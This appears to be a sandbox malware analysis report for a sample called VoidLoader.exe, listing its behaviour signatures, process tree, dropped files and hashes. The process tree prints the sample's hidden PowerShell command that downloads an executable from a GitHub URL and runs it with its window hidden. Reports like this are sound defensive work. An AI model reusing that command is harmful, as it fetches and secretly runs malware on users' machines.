Overview

overview

8

Static

static

3

VoidLoader.exe

windows10-2004-x64

8

VoidLoader.exe

windows11-ltsc_2024-x64

8

Analysis

  • user interaction
    yes
  • max time kernel
    150s
  • max time network
    157s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260618-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260618-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    23/06/2026, 07:23

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    VoidLoader.exe
  • Size 63.8MB
  • Sample260623-h7528aa12p
  • SHA256 3e3c88c4cd3c7d47cf5b28ad8bda2a84d39ce17bb193d7c3556284a7875168cf
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
8/10
adwaredefense_evasionexecutionpersistenceransomwarespyware

Malware Config

Signatures

  • Badlisted process makes network request 1 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Boot or Logon Autostart Execution: Active Setup 2 TTPs 1 IoCs

    Adversaries may achieve persistence by adding a Registry key to the Active Setup of the local machine.

    persistence
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

    execution
  • Loads dropped DLL 8 IoCs
  • Enumerates connected drives 3 TTPs 2 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Hide Artifacts: Hidden Window 1 TTPs 1 IoCs

    Windows that would typically be displayed when an application carries out an operation can be hidden.

    defense_evasion
  • Checks SCSI registry key(s) 3 TTPs 62 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Modifies Internet Explorer settings 1 TTPs 1 IoCs
    adwarespyware
  • Modifies registry class 38 IoCs
  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 45 IoCs
  • Suspicious use of FindShellTrayWindow 54 IoCs
  • Suspicious use of SendNotifyMessage 40 IoCs
  • Suspicious use of SetWindowsHookEx 3 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

    persistence
  • Uses Volume Shadow Copy WMI provider

    The Volume Shadow Copy service is used to manage backups/snapshots.

    ransomware
  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

    ransomware

Processes

  • C:\Users\Admin\AppData\Local\Temp\VoidLoader.exe
    "C:\Users\Admin\AppData\Local\Temp\VoidLoader.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:6096
    • C:\Users\Admin\AppData\Local\Temp\VoidLoader.exe
      "C:\Users\Admin\AppData\Local\Temp\VoidLoader.exe"
      2⤵
      • Loads dropped DLL
      • Suspicious use of WriteProcessMemory
      PID:3392
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "powershell.exe -WindowStyle Hidden -Command "iwr https://github.com/komend22/Void/raw/refs/heads/main/VoidLoader.exe -o "C:\ProgramData\SystemUpdate\VoidLoader.exe"; Start-Process -WindowStyle Hidden "C:\ProgramData\SystemUpdate\VoidLoader.exe"""
        3⤵
        • Hide Artifacts: Hidden Window
        • Suspicious use of WriteProcessMemory
        PID:3184
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell.exe -WindowStyle Hidden -Command "iwr https://github.com/komend22/Void/raw/refs/heads/main/VoidLoader.exe -o "C:\ProgramData\SystemUpdate\VoidLoader.exe"; Start-Process -WindowStyle Hidden "C:\ProgramData\SystemUpdate\VoidLoader.exe""
          4⤵
          • Badlisted process makes network request
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:1056
  • C:\Windows\system32\sihost.exe
    sihost.exe
    1⤵
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of WriteProcessMemory
    PID:5708
    • C:\Windows\explorer.exe
      explorer.exe /LOADSAVEDWINDOWS
      2⤵
      • Boot or Logon Autostart Execution: Active Setup
      • Enumerates connected drives
      • Checks SCSI registry key(s)
      • Modifies Internet Explorer settings
      • Modifies registry class
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of FindShellTrayWindow
      • Suspicious use of SendNotifyMessage
      • Suspicious use of SetWindowsHookEx
      PID:5548
  • C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\SearchHost.exe
    "C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\SearchHost.exe" -ServerName:CortanaUI.AppXstmwaab17q5s3y22tp6apqz7a45vwv65.mca
    1⤵
    • Modifies registry class
    • Suspicious use of SetWindowsHookEx
    PID:2956
  • C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe
    "C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe" -ServerName:App.AppXywbrabmsek0gm3tkwpr5kwzbs55tkqay.mca
    1⤵
    • Modifies registry class
    • Suspicious use of SetWindowsHookEx
    PID:1656

Network

        MITRE ATT&CK Enterprise v16

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        prep_Activatable Class_Hermes_perf.cache
        • Path C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\TempState\prep_Activatable Class_Hermes_perf.cache
        • Size 607B
        • SHA256 be6b74e52e5eef1f1c27c0976bf3bf1bfa99958c00bbef2898a602f691be6dae
        • MD5 SHA1 SHA512 TLSH
        Submit Download

        VCRUNTIME140.dll
        • Path C:\Users\Admin\AppData\Local\Temp\_MEI60962\VCRUNTIME140.dll
        • Size 117KB
        • SHA256 052ad6a20d375957e82aa6a3c441ea548d89be0981516ca7eb306e063d5027f4
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        _bz2.pyd
        • Path C:\Users\Admin\AppData\Local\Temp\_MEI60962\_bz2.pyd
        • Size 83KB
        • SHA256 965f199679afa9b31d537d98c3ca8403afd6b9e58e1a463ae47697ae4bf12771
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        _ctypes.pyd
        • Path C:\Users\Admin\AppData\Local\Temp\_MEI60962\_ctypes.pyd
        • Size 129KB
        • SHA256 697d05cac7c167c00ccf22ea4fdbc7a8db93ab9c6421061191558e42478068c5
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        _hashlib.pyd
        • Path C:\Users\Admin\AppData\Local\Temp\_MEI60962\_hashlib.pyd
        • Size 68KB
        • SHA256 1430e4a2ed19eda840668a292c39ff44488b598f53e903a61739a86b779ecbfe
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        _lzma.pyd
        • Path C:\Users\Admin\AppData\Local\Temp\_MEI60962\_lzma.pyd
        • Size 156KB
        • SHA256 b78f5a8476139ff04731046459efd047bb8f52dc92c5b2082eabf2929c0ca02d
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        base_library.zip
        • Path C:\Users\Admin\AppData\Local\Temp\_MEI60962\base_library.zip
        • Size 1.3MB
        • SHA256 e417840bbb563fa1163d6d9d53449f6f1939787fa8e8e72e80f40fd325022173
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        libcrypto-3.dll
        • Path C:\Users\Admin\AppData\Local\Temp\_MEI60962\libcrypto-3.dll
        • Size 5.0MB
        • SHA256 ccfffddcd3defb8d899026298af9af43bc186130f8483d77e97c93233d5f27d7
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        libffi-8.dll
        • Path C:\Users\Admin\AppData\Local\Temp\_MEI60962\libffi-8.dll
        • Size 38KB
        • SHA256 eff52743773eb550fcc6ce3efc37c85724502233b6b002a35496d828bd7b280a
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        python313.dll
        • Path C:\Users\Admin\AppData\Local\Temp\_MEI60962\python313.dll
        • Size 5.8MB
        • SHA256 0565965617d94274d7f2c2958d0bef33392cd9d2f346f99d8e1bedbdf264ee85
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        memory/1056-40-0x00007FFF87330000-0x00007FFF87CD4000-memory.dmp
        Download

        memory/1056-45-0x00007FFF87330000-0x00007FFF87CD4000-memory.dmp
        Download

        memory/1056-36-0x000001DC83470000-0x000001DC83492000-memory.dmp
        Download

        memory/1056-37-0x00007FFF87330000-0x00007FFF87CD4000-memory.dmp
        Download

        memory/1056-38-0x00007FFF87330000-0x00007FFF87CD4000-memory.dmp
        Download

        memory/1056-39-0x00007FFF87330000-0x00007FFF87CD4000-memory.dmp
        Download

        memory/1056-32-0x00007FFF87330000-0x00007FFF87CD4000-memory.dmp
        Download

        memory/1056-41-0x00007FFF87330000-0x00007FFF87CD4000-memory.dmp
        Download

        memory/1056-42-0x00007FFF87330000-0x00007FFF87CD4000-memory.dmp
        Download

        memory/1056-43-0x00007FFF87330000-0x00007FFF87CD4000-memory.dmp
        Download

        memory/1056-44-0x00007FFF87330000-0x00007FFF87CD4000-memory.dmp
        Download

        memory/1056-33-0x00007FFF87330000-0x00007FFF87CD4000-memory.dmp
        Download

        memory/1056-47-0x00007FFF87330000-0x00007FFF87CD4000-memory.dmp
        Download

        memory/1056-31-0x00007FFF874BF000-0x00007FFF874C0000-memory.dmp
        Download

        memory/1656-235-0x0000016230660000-0x0000016230A94000-memory.dmp
        Download

        memory/2956-58-0x0000024A00000000-0x0000024A00100000-memory.dmp
        Download

        memory/2956-60-0x0000024A00000000-0x0000024A00100000-memory.dmp
        Download

        memory/2956-107-0x0000024A03E80000-0x0000024A03EA0000-memory.dmp
        Download

        memory/2956-70-0x0000024A03AF0000-0x0000024A03B10000-memory.dmp
        Download

        memory/2956-68-0x0000024A037B0000-0x0000024A037D0000-memory.dmp
        Download

        memory/2956-59-0x0000024A00000000-0x0000024A00100000-memory.dmp
        Download

        memory/2956-69-0x0000024A03BD0000-0x0000024A03CD0000-memory.dmp
        Download